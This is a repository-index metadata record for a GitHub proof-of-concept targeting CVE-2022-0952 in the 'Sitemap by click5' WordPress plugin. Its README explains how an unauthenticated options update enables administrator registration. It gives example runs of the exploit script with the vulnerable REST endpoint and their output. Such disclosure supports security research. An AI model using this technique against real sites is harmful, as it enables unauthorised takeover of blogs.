{"id":21125731,"url":"https://github.com/randomrobbiebf/cve-2022-0952","last_synced_at":"2025-04-13T07:55:32.933Z","repository":{"id":186758046,"uuid":"675703857","full_name":"RandomRobbieBF/CVE-2022-0952","owner":"RandomRobbieBF","description":"Sitemap by click5 \u003c 1.0.36 - Unauthenticated Arbitrary Options Update","archived":false,"fork":false,"pushed_at":"2023-08-09T10:14:42.000Z","size":20,"stargazers_count":4,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-13T07:55:27.951Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-08-07T14:28:11.000Z","updated_at":"2025-02-14T17:11:46.000Z","dependencies_parsed_at":null,"dependency_job_id":"0afc062c-aaab-4bd3-9b15-528708e589b2","html_url":"https://github.com/RandomRobbieBF/CVE-2022-0952","commit_stats":null,"previous_names":["randomrobbiebf/cve-2022-0952"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-0952","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-0952/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-0952/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2022-0952/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/CVE-2022-0952/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248681491,"owners_count":21144700,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:38.031Z","updated_at":"2025-04-13T07:55:32.876Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2022-0952\nSitemap by click5 \u0026lt; 1.0.36 - Unauthenticated Arbitrary Options Update\n\n# Description\n\nThe plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin. As a result, unauthenticated attackers could change arbitrary blog options, such as the users_can_register and default_role, allowing them to create a new admin account and take over the blog.\n\n# Example Enable Admin \u0026 Reg\n\n```\n$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555\nThe plugin version is below 1.0.36.\nThe plugin version is 1.0.35\nVulnerability check: http://192.168.1.131:5555\nOption set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX\nYou can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.\n```\n\n# Example Disable Admin \u0026 Reg\n\n```\n$ python3 CVE-2022-0952.py -u http://192.168.1.131:5555 --fix yes\nVulnerability check: http://192.168.1.131:5555\nOption set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX\nFixed: You can not longer register\nOption set successfully: http://192.168.1.131:5555/wp-json/click5_sitemap/API/update_html_option_AJAX\nFixed: You can not longer register\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2022-0952","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2022-0952","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2022-0952/lists"}